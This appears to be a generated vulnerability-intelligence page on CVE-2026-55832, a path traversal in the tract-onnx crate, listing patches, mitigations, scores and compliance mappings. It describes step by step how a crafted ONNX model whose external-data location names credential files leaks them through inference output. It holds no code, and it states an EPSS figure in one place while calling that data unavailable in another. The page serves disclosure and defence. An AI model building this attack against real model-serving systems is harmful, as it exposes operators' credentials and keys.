CVE-2026-55832: ONNX path traversal exposes

Q: Is CVE-2026-55832 actively exploited?

No confirmed active exploitation of CVE-2026-55832 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-55832?

1. Patch: upgrade `tract-onnx` to 0.21.17, which implements containment checks mirroring the reference `onnx` 1.22.0 hardening. 2. Workaround if patching is blocked: load only ONNX models from trusted, internally-controlled sources with cryptographic integrity verification (checksums or signatures). 3. Reject ONNX models containing external data references (`data_location = EXTERNAL`) at intake if your pipeline does not require them. 4. Apply filesystem isolation to inference processes: seccomp-bpf profiles, Linux namespaces, or AppArmor/SELinux policies restricting read access to paths outside the model directory. 5. Detection: audit codebases for calls to `model_for_path()` or `load_tensor()` on externally-sourced files; monitor inference process file access (auditd/eBPF) for reads outside expected model directories.

Q: What systems are affected by CVE-2026-55832?

This vulnerability affects the following AI/ML architecture patterns: model serving, training pipelines, model hub integrations, edge inference, ML upload and evaluation platforms.

Q: What is the CVSS score for CVE-2026-55832?

CVE-2026-55832 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.19%.

CISO Take

A path traversal vulnerability in the `tract-onnx` Rust crate allows a malicious ONNX model file to read arbitrary local files—including credentials, SSH keys, and `.env` configurations—by supplying an unsanitized `location` field in external tensor data, with file contents surfaced directly in inference output. With 1,195 downstream dependents and a proof-of-concept requiring only ten lines of standard Python ONNX tooling, any application loading externally-sourced models (model hubs, user uploads, shared repositories) is exposed to file disclosure without code execution on the host. The vulnerability is not in CISA KEV and EPSS data is unavailable, but the trivial exploitation bar means motivated attackers need no specialized AI/ML knowledge. Upgrade to `tract-onnx 0.21.17` immediately; as a stopgap, restrict model loading to internally-signed artifacts and enforce filesystem isolation (Linux namespaces, AppArmor, seccomp) around inference processes.

Sources: NVD GitHub Advisory ATLAS OpenSSF

What is the risk?

Medium-severity but practically impactful in AI deployment contexts. The local attack vector (CVSS AV:L) assumes model file delivery rather than direct network access, which is entirely realistic in ML pipelines that accept third-party or user-supplied models—a common production pattern. High confidentiality impact (C:H) means any locally readable file is fully exfiltrable. The secondary DoS impact (A:L) via Rust panic on crafted offset/length values adds operational risk to production inference pipelines. With 1,195 dependents and a commodity PoC, exploitability ceiling is low despite no recorded active exploitation.

How does the attack unfold?

Malicious Model Crafting

Adversary uses standard Python ONNX tooling to construct a model file with an external tensor whose `location` field references a sensitive local path (e.g., `/etc/passwd`, `~/.aws/credentials`).

AML.T0011.000

Model Distribution

Adversary publishes the malicious ONNX file to a model hub, shared repository, or directly uploads it to an ML platform accepting user-provided models.

AML.T0010.003

File Read at Load Time

Victim application calls `model_for_path()` on the malicious file; `tract-onnx` resolves the unsanitized absolute path, mmaps the target file, and copies its contents into an output tensor with no bounds or containment checks.

AML.T0037

Exfiltration via Inference Output

Adversary retrieves the sensitive file contents by reading the inference API response, requiring no elevated privileges beyond model upload and a single inference call.

AML.T0025

Malicious Model Crafting

Adversary uses standard Python ONNX tooling to construct a model file with an external tensor whose `location` field references a sensitive local path (e.g., `/etc/passwd`, `~/.aws/credentials`).

AML.T0011.000

Model Distribution

Adversary publishes the malicious ONNX file to a model hub, shared repository, or directly uploads it to an ML platform accepting user-provided models.

AML.T0010.003

File Read at Load Time

Victim application calls `model_for_path()` on the malicious file; `tract-onnx` resolves the unsanitized absolute path, mmaps the target file, and copies its contents into an output tensor with no bounds or containment checks.

AML.T0037

Exfiltration via Inference Output

Adversary retrieves the sensitive file contents by reading the inference API response, requiring no elevated privileges beyond model upload and a single inference call.

AML.T0025

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
ONNX	cargo	< 0.21.17	`0.21.17`
21.5K OpenSSF 8.7 1.1K dependents Pushed 5d ago 81% patched ~45d to patch Full package profile →

Do you use ONNX? You're affected.

How severe is it?

CVSS 3.1

6.1 / 10

EPSS

0.2%

chance of exploitation in 30 days

Higher than 8% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Local

AC Low

PR None

UI Required

S Unchanged

C High

I None

A Low

What should I do?

5 steps

Patch: upgrade tract-onnx to 0.21.17, which implements containment checks mirroring the reference onnx 1.22.0 hardening.
Workaround if patching is blocked: load only ONNX models from trusted, internally-controlled sources with cryptographic integrity verification (checksums or signatures).
Reject ONNX models containing external data references (data_location = EXTERNAL) at intake if your pipeline does not require them.
Apply filesystem isolation to inference processes: seccomp-bpf profiles, Linux namespaces, or AppArmor/SELinux policies restricting read access to paths outside the model directory.
Detection: audit codebases for calls to model_for_path() or load_tensor() on externally-sourced files; monitor inference process file access (auditd/eBPF) for reads outside expected model directories.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Supply Chain Data Extraction Model Inference AML.T0010.003 - Model AML.T0011.000 - Unsafe AI Artifacts AML.T0025 - Exfiltration via Cyber Means AML.T0037 - Data from Local System

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.3 - Data input controls for AI systems

NIST AI RMF

MS-2.5 - AI risk treatment practices

OWASP LLM Top 10

LLM03 - Supply Chain

Frequently Asked Questions

What is CVE-2026-55832?

A path traversal vulnerability in the `tract-onnx` Rust crate allows a malicious ONNX model file to read arbitrary local files—including credentials, SSH keys, and `.env` configurations—by supplying an unsanitized `location` field in external tensor data, with file contents surfaced directly in inference output. With 1,195 downstream dependents and a proof-of-concept requiring only ten lines of standard Python ONNX tooling, any application loading externally-sourced models (model hubs, user uploads, shared repositories) is exposed to file disclosure without code execution on the host. The vulnerability is not in CISA KEV and EPSS data is unavailable, but the trivial exploitation bar means motivated attackers need no specialized AI/ML knowledge. Upgrade to `tract-onnx 0.21.17` immediately; as a stopgap, restrict model loading to internally-signed artifacts and enforce filesystem isolation (Linux namespaces, AppArmor, seccomp) around inference processes.

Is CVE-2026-55832 actively exploited?

No confirmed active exploitation of CVE-2026-55832 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-55832?

1. Patch: upgrade `tract-onnx` to 0.21.17, which implements containment checks mirroring the reference `onnx` 1.22.0 hardening. 2. Workaround if patching is blocked: load only ONNX models from trusted, internally-controlled sources with cryptographic integrity verification (checksums or signatures). 3. Reject ONNX models containing external data references (`data_location = EXTERNAL`) at intake if your pipeline does not require them. 4. Apply filesystem isolation to inference processes: seccomp-bpf profiles, Linux namespaces, or AppArmor/SELinux policies restricting read access to paths outside the model directory. 5. Detection: audit codebases for calls to `model_for_path()` or `load_tensor()` on externally-sourced files; monitor inference process file access (auditd/eBPF) for reads outside expected model directories.

What systems are affected by CVE-2026-55832?

This vulnerability affects the following AI/ML architecture patterns: model serving, training pipelines, model hub integrations, edge inference, ML upload and evaluation platforms.

What is the CVSS score for CVE-2026-55832?

CVE-2026-55832 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.19%.

What is the AI security impact?

Affected AI Architectures

model servingtraining pipelinesmodel hub integrationsedge inferenceML upload and evaluation platforms

MITRE ATLAS Techniques

AML.T0010.003 Model

AML.T0011.000 Unsafe AI Artifacts

AML.T0025 Exfiltration via Cyber Means

AML.T0037 Data from Local System

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2.3

NIST AI RMF: MS-2.5

OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

Tract is a tiny, no-nonsense, self-contained TensorFlow and ONNX inference toolkit. Prior to 0.21.17, 0.22.3, and 0.23.2, the tract-onnx crate passes the attacker-controlled external_data location from an ONNX model through onnx/src/tensor.rs get_external_resources and joins the value to the model directory without rejecting absolute paths or parent directory components. Loading an untrusted model through model_for_path can therefore make onnx/src/data_resolver.rs MmapDataResolver open an arbitrary local file and place the file contents into model tensors or inference output. Attacker-controlled offset and length fields can also select an out-of-range mapping slice and cause a denial of service, but the flaw does not write files or execute code. This issue is fixed in versions 0.21.17, 0.22.3, and 0.23.2.

Exploitation Scenario

An adversary targets an ML platform that allows users to upload ONNX models for inference. Using the standard Python `onnx` library with ten lines of code matching the disclosed PoC, they craft `evil.onnx` with a tensor whose external data `location` field is set to `/etc/passwd`, `~/.aws/credentials`, or a service account key path. When an automated pipeline or operator calls `model_for_path('evil.onnx')`, `tract-onnx` resolves the absolute path without sanitization, mmaps the target file, and copies its contents into the output tensor. The adversary retrieves the exfiltrated file contents by inspecting the inference API response, requiring no elevated privileges and no interaction beyond model upload and a single inference invocation.

Weaknesses (CWE)

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Primary CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

[Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
[Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.